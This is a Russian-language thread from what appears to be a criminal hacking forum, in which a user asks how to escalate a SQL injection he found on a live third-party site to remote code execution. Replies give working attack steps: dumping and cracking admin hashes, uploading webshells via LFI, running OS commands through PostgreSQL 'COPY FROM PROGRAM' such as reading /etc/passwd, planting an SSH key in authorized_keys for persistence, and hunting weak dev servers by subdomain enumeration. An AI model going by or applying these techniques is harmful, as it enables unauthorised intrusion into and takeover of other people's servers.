• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите пожалуйста. Возможно ли с sqlinj до rce?

Fine

(L3) cache
Пользователь
Регистрация
25.06.2022
Сообщения
283
Реакции
110
Гарант сделки
3
Депозит
0.04 Ł
Всем привет. Возник вопрос такой: Нашел скулю на сайте, залить вебшелл через классический метод не дает, больше пока ничего из методов повышения до RCE с sqlinj найти не могу, то ли я в шары долблюсь, то ли тема не особо раскрыта. Думаю тут может как то через манипуляцию с бд попробовать что то да сделать, но идея не рождается в голове. Вобщем прошу совета что можно сделать, заранее благодарю.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
SELECT INTO OUTFILE. Но если ты не под рутом, то прав на это действие у тебя 99.99% не будет.
Так что находим и дампим базу админов, брутим хэши и пробуем залиться через админку.
 
SELECT INTO OUTFILE. Но если ты не под рутом, то прав на это действие у тебя 99.99% не будет.
Так что находим и дампим базу админов, брутим хэши и пробуем залиться через админку.
Админка есть, но админка там - это почти ничего, как заливаться вообще не ясно. Там типо функций для кода или залива файлов\картинок и прочего.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Там сайт крутится на PHP или на чем-то другом?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если найдешь в админке хотя бы LFI, тогда можно будет залиться через логи или через phpinfo (если есть на сайте).
 
Если найдешь в админке хотя бы LFI, тогда можно будет залиться через логи или через phpinfo (если есть на сайте).
У меня еще есть сайт на js (Angular), с похожей ситуацией, есть по нему вариант какой то? И можешь подсказать где об этом всем подробнее почитать можно? А то заливать шелл через LFI буду впервые, если повезет кнш.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Angular там на клиенте. На сервере какой-то бэк, предоставляющий АПИ для ng.
Подробнее про различные методы заливки шелла можно поискать здесь на форуме и на forum.antichat.ru. Если получится найти архив rdot.org, тогда еще лучше.
Так же если движок известный (WP, Joomla, etc), можно искать известные баги на exploit-db.com и в гугле "методы заливки шелла в X", где X - это название движка или плагина.
 
Angular там на клиенте. На сервере какой-то бэк, предоставляющий АПИ для ng.
Подробнее про различные методы заливки шелла можно поискать здесь на форуме и на forum.antichat.ru. Если получится найти архив rdot.org, тогда еще лучше.
Так же если движок известный (WP, Joomla, etc), можно искать известные баги на exploit-db.com и в гугле "методы заливки шелла в X", где X - это название движка или плагина.
Спасибо за ответ, буду искать:)
 
Решил не создавать новую тему, но вопрос уже другой. Я намутил часть исходников сайта, написан на пхп, в админке есть возможность залить файл, но в коде видно, что сразу идет импорт в таблицу, видать в бд. Вопрос такой - возможно ли получить рце все таки или нет? кусок кода прилагаю:

PHP:
        case 'upload_codes':
            if(!isset($_FILES['filename']['tmp_name']))
                throw new Exception ("Uploaded file should be *.csv");

            $ext = pathinfo($_FILES['filename']['name'], PATHINFO_EXTENSION);

            if($ext!="csv")
            throw new Exception("Upload *.csv file to process") ;

            $allowedColNum = 1;
            //Populate the records
            $handle = fopen($_FILES['filename']['tmp_name'], "r");
            while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {

              // count($data) is the number of columns
              $numcols = count($data);

              // Bail out of the loop if columns are incorrect
              if ($numcols != $allowedColNum) {
                  fclose($handle);
                 throw new Exception("Upload *.csv file is not in valid format,  Exceeds allowed column limit.") ;
                 break;
              }

                $records[] = $data[0];
            }

            fclose($handle);

            //Import uploaded file records to Database
            $grouponTable = new GrouponSkuTable($db,$env);
            $msg = "Duplicate codes: <br>";
            $hasError = false;
            $total = count($records);
            $failures = $success = 0;
            foreach($records as $code){
                //Check is exist
                $is_upc_exist = $grouponTable->isUpcExist($code);
                if($is_upc_exist){
                    $hasError = true;
                    $msg .= "{$code},";
                    $failures++;
                    continue;
                }
                //insert
                $grouponTable->insertUpcOnly($code);
                $success++;
            }


            $rv = array("success" =>1, "total" => $total, "failures" => $failures, "success" => $success, "error" => $hasError, "message" => $msg);
            echo json_encode($rv);
            break;
 
Всем привет. Возник вопрос такой: Нашел скулю на сайте, залить вебшелл через классический метод не дает, больше пока ничего из методов повышения до RCE с sqlinj найти не могу, то ли я в шары долблюсь, то ли тема не особо раскрыта. Думаю тут может как то через манипуляцию с бд попробовать что то да сделать, но идея не рождается в голове. Вобщем прошу совета что можно сделать, заранее благодарю.
Ты не сказал, что за СУБД. Если postgres и админ не шибко заморачивался с правами, есть шанс, что текущий пользователь входит в группу pg_execute_server_program. Тогда всё элементарно:
1. Создаешь таблицу (CREATE TABLE some_legit_looking_table(cmd_output text);)
2. Исполняешь команду и записываешь результат её выполнения в только что созданную таблицу (COPY some_legit_looking_table FROM PROGRAM ‘cat /etc/passwd’;)
3. Читаешь таблицу (SELECT * FROM some_legit_looking_table;)
4. Если нужно повторить, очищаешь таблицу (TRUNCATE some_legit_looking_table; или DELETE FROM some_legit_looking_table;) и возвращаешься к шагу 2
5. Как закончил, дропни таблицу (DROP TABLE some_legit_looking_table;)

Команды вероятнее всего будут исполняться от пользователя postgres.

Такое обычно прокатывает на dev-серверах, там админы часто забивают на правильную настройку прав. Найти dev, staging и прочие не-прод сервера помогает subdomain enumeration (amass, subfinder, etc.)
 
Ты не сказал, что за СУБД. Если postgres и админ не шибко заморачивался с правами, есть шанс, что текущий пользователь входит в группу pg_execute_server_program. Тогда всё элементарно:
1. Создаешь таблицу (CREATE TABLE some_legit_looking_table(cmd_output text);)
2. Исполняешь команду и записываешь результат её выполнения в только что созданную таблицу (COPY some_legit_looking_table FROM PROGRAM ‘cat /etc/passwd’;)
3. Читаешь таблицу (SELECT * FROM some_legit_looking_table;)
4. Если нужно повторить, очищаешь таблицу (TRUNCATE some_legit_looking_table; или DELETE FROM some_legit_looking_table;) и возвращаешься к шагу 2
5. Как закончил, дропни таблицу (DROP TABLE some_legit_looking_table;)

Команды вероятнее всего будут исполняться от пользователя postgres.

Такое обычно прокатывает на dev-серверах, там админы часто забивают на правильную настройку прав. Найти dev, staging и прочие не-прод сервера помогает subdomain enumeration (amass, subfinder, etc.)
Сори, не подумал уточнить про СУБД. СУБД - MySQL >= 5.0.0. С ним такое прокатит?
 
COPY some_legit_looking_table FROM PROGRAM ‘cat /etc/passwd’;
разве нельзя просто
Код:
COPY some_legit_looking_table FROM '/etc/passwd’;
?
 
Сори, не подумал уточнить про СУБД. СУБД - MySQL >= 5.0.0. С ним такое прокатит?
да, но нужна привилегия FILE, а по умолчанию она выключена.
но если сайт работает с базой от рута, то сработает.
 
да, но нужна привилегия FILE, а по умолчанию она выключена.
но если сайт работает с базой от рута, то сработает.
К сожалению рута нету:(
 
К сожалению рута нету:(
root в mysql и root в операционной системе - это разные юзеры.
ты можешь выполнять команды mysql, или только селекты делать?
попробуй
Код:
SHOW VARIABLES;
SHOW GRANTS;
SELECT * FROM mysql.user;
 
У меня из возможностей только "USAGE"
root в mysql и root в операционной системе - это разные юзеры.
ты можешь выполнять команды mysql, или только селекты делать?
попробуй
Код:
SHOW VARIABLES;
SHOW GRANTS;
SELECT * FROM mysql.user;
 
увы. а в VARIABLES есть что интересное?
 
увы. а в VARIABLES есть что интересное?
А он вообще их не отдает почему то. У меня юзер не дба, возможно из за этого
 
разве нельзя просто
Код:
COPY some_legit_looking_table FROM '/etc/passwd’;
?
Ну, вопрос был про RCE. cat /path/to/file - просто для примера исполнения команды, возможно не самый удачный/наглядный =) Вместо этого может быть реверс шелл.
У меня был успешный опыт эксплуатации с COPY some_legit_looking_table FROM PROGRAM ‘echo my_pubkey >> /var/lib/postgresql/.ssh/authorized_keys’;
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх